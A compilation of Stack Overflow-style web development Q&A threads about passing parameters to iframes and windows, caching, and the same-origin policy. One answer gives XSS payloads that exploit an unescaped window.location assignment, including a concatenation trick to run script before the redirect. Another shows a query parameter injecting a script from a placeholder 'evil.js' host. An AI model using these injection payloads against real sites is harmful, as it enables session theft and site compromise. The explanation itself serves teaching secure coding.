Background: I have written a bookmarklet (JavaScript) that appends an iframe to the current page you are viewing. This iframe's src attribute is pointing to a form back on my (rails) application. I need to pass a key into the form (from the bookmarklet) by either modifying one of the values of the input fields or by passing the value as a parameter at the end of the url calling the form action.
I don't really see a way how to do the former, and the latter seems like a security catastrophe waiting to happen. I was wondering what the best practice would be here?
Appending a query string parameter to the URL seems reasonable, but you're correct - there are security implications. The value will appear in the user's browsing history and it'll be visible over unencrypted HTTP (but not HTTPS).
There's another Javascript-based way to do this that's not yet widely supported, but is worth considering - window.postMessage. It allows pages at designated domains to send and receive messages using a familiar event-based model. See https://developer.mozilla.org/en/DOM/window.postMessage.
This sounds fairly similar to the AJAX framework I made using iFrames. The easiest way is to have your bookmarklet build up a query string and put that on the iFrame's src. If you need to change anything, you should be able to set the iFrame's src to "#param=value" and have the page in the iFrame register the onhashchange event to deal with it (this would be how you could go about the former)
So your code could either be:
var iframe = document.createElement('iframe');
iframe.src = "http://example.com/mypage?param1=value1¶m2=value2";
document.body.appendChild(iframe);
and/or:
iframe.src = "#param1=value1";
// This in the iframe:
document.onhashchange = function() {
// parse location.hash and process form
}
A number of schemes pass secrets in the fragment portion of the URL and then, as then, early in the page load, store it and set the fragment to blank. I think webkeys do this.
On the webkeys page, see specifically
Putting the unguessable permission key in the fragment segment produces an https URL that looks like: https://www.example.com/app/#mhbqcmmva5ja3.
Related
This question is relating to the code window.location = window.location as a method to refresh the page and is not concerned with redirections / other variables.
My understanding is as follows:
window.location = window.location causes the page to refresh, as the browser will navigate to the same location the user is already on.
Any change to this variable via DOM manipulation will cause the page to reload/load the attackers page, thus these lines will not able to be executed with an altered value and so are not a candidates for cross site scripting attacks.
Is this correct?
Edit: What I'm really asking is if there is a way to change window.location without causing a page reload, so that then when the window.location = window.location call is made, the browser will be sent to another location.
So if I understand what you were asking correctly, none of these answers are correct. It is possible to leverage the window.location to perform xss. It seemed like the roadblock you were running into was with the fact that after the window.location line executed the page would refresh and skip the execution of yourpayload. I'm assuming that you are able to somhow introduce contents into a string on the right side of window.location, and the input is not being properly encoded as a JavaScript string.
For example if http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+' results in code like:
<script>
window.location='derp';alert('xss');var a = '';
</script>
You can just leverage string concatenation to defer the assignment to window.location until after your payload has been executed. So something like:
http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'
would result in the following code that executes your payload.
<script>
window.location='derp' + alert('xss') + '';
</script>
This should really be in the security StackExchange though.
The problem has nothing to do with window.location, and everything to do with how you handle arbitrary data used in a new context.
If you take input from a URL and use it to build a new URL to redirect to, then you open yourself up for problems. Take the classic redirect page...
http://example.com/redirect?url=http%3A%2F%2Fsomethingevil
If there is JavaScript on the page that then sets window.location to the value of the query string parameter url, then the page will go to http://somethingevil.
The main way XSS is done is by allowing query string parameters to inject data into the page itself. For example, you might have a page that says "Hello Brad", where "Brad" came from the URL parameter called name. Now, suppose an attacker instead sets the URL to be name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E. If I just inject the value of name directly into the page, then my script evil.js is going to run on that page. If instead I escape the data properly, then it can be used in the page as it will be interpreted as text.
I need to embed a parameter with all my pages url. Like:
index page = www.abc.com?param=value
about us page = www.abc.com/about-us.html?param=value
When i google it I found param tag. But it is child tag of Object Tag. So I don't know how to use this to address my issue.
Note: Am adding parameter to maintain my version upgrades so that browser will fetch from server whenever new updates added not fetching from cache like Google.
How to achieve that?
When i google it I found param tag. But it is child tag of Object Tag. So I don't know how to use this to address my issue.
You can't. It has nothing to do with your issue. Object parameters and query string parameters are entirely unrelated.
Am adding parameter to maintain my version upgrades so that browser will fetch from server whenever new updates added not fetching from cache like Google.
That is used when linking to resources that change infrequently and you normally want to be heavily cached, but which occasionally change in a way that would break parts of a site if not refreshed in the browser. Primarily this applies to stylesheets and JavaScript files.
For regular pages, you usually don't want such strict caching rules so you should configure your HTTP server to put appropriate cache control headers in the HTTP response for the HTML document.
For instance:
Cache-Control:max-age=3600
ETag:"44ab-51ae9454a67e2"
mnot has a good guide if you want a more in depth explanation about how to control caching.
I haven't found an answer to this, and since I'm pretty new to JS, I don't know if it's even possible.
I have a regular HTML form, where the only field is a user types in a URL (any URL) and clicks submit.
The URL will "be sent" to JS code that stores this URL in some variable, I guess. Basically, I need to be able to call getElementsByTagName() on any URL submitted by the user.
My point is to count up the number of times a URL contains a specified element, which I do know how to do :)
How do I interpret a URL submitted through a form by someone and then take that URL and be able to perform methods (such as getElementsById) on it? I want to return the count of the number of elements to the user.
Any ideas? Can this all be done in JS? Is this possible?
When you say "URL," I assume you are talking about the actual webpage and not the url string. In other words, you want to load the entire DOM into a javascript variable and then parse it with getElementsByTagName(), etc. Javascript cannot load this webpage due to the Same Origin Policy, unless users can only submit pages that are on the same domain as your site. If that was the case, you could use a frame. Otherwise, JS can't do it without Jsonp, which isn't going to work in this case.
However, all is not lost. You can have your JS make an asynchronous request (ajax) to your own server. Your server scripting language /can/ get the entire DOM of the webpage (e.g. PHP can do this with cURL). Then it can send the entire string back to JS as xml that can be parsed. Good luck.
You can't really do that from the client (the web browser) with nothing but Javascript, because security rules will prevent your page from fetching and examining content from a different domain. You'll need to send the URL to a server and have it do the work.
i want to pass parameter to another page through iframe
example
<iframe src="http://otherserver.com/page?user=user_id"/>
rather than passsing user= id this way, is there any technique so that user will not aware of user=user_id ?
What you could probably do is to load a dummy page to that iframe and then load the correct page using JavaScript. You could use POST request to hide the parameters from the URL. However if a user wants to find what exactly you are posting he can always see that from your JS, although it won't be as obvious as checking iFrame's src attribute.
I am opening a window and passing set of parameters to it. In this case, I am sending json string. At time, the info is toolarge, and Request-URI Too Large occurs.
window.open('../pssops21/php/createPhonePdf.php?strSelectedItems='
+ strSelectedItems + '&strQBNumbers=' + arrQBNumbers, 'mywindow',
'resizable=1, scrollbars=1, left=80,top=60, width=650, min-height=400')
Window.open does not have option to post. Jquery ajax only posts info retrieves, results and does not open a new window.
Are there any methods to do this?
Thanks.
Unfortunately this is tricky situation in web applications. The limit on the size of a URI is typically dictated by the browser you are using and the option to POST data is not a standard available. As for doing an Ajax post and then "loading" the results, is typically not supported for security reasons.
A workaround I have used in the past is to make it a two-step process. Basically use Ajax to post your json data to the server. As a response, have the server send back some kind of token to retrieve the stored data. Then, use that token as a parameter to the new window you are opening, who can then retrieve the data.
I know it is a little bit more work to get the data over to your new page, but it does eliminate these size/security restrictions, and is a cross-browser safe.
You could open a new window to a temporary page, then POST from that page in the new window using a form filled out by JavaScript in the original page.
You could use a hidden form that has your destination page as its target. Use hidden fields for your post values, and submit the form using the Javascript submit() method.
I believe this will only work if you're trying to redirect the current window, not open a popup, although there may be a way around that restriction as well.
Rather than embedding information to pass to the window in the querystring, you can use javascript directly. Using window.opener on the newly opened window, you can access info from the child page:
var selItems = window.opener.strSelectedItems;
Keep in mind that strSelectedItems in this case would need to be globally scoped in the parent page. To keep things clean, I would consider functions on the main page that will return the information the child page needs.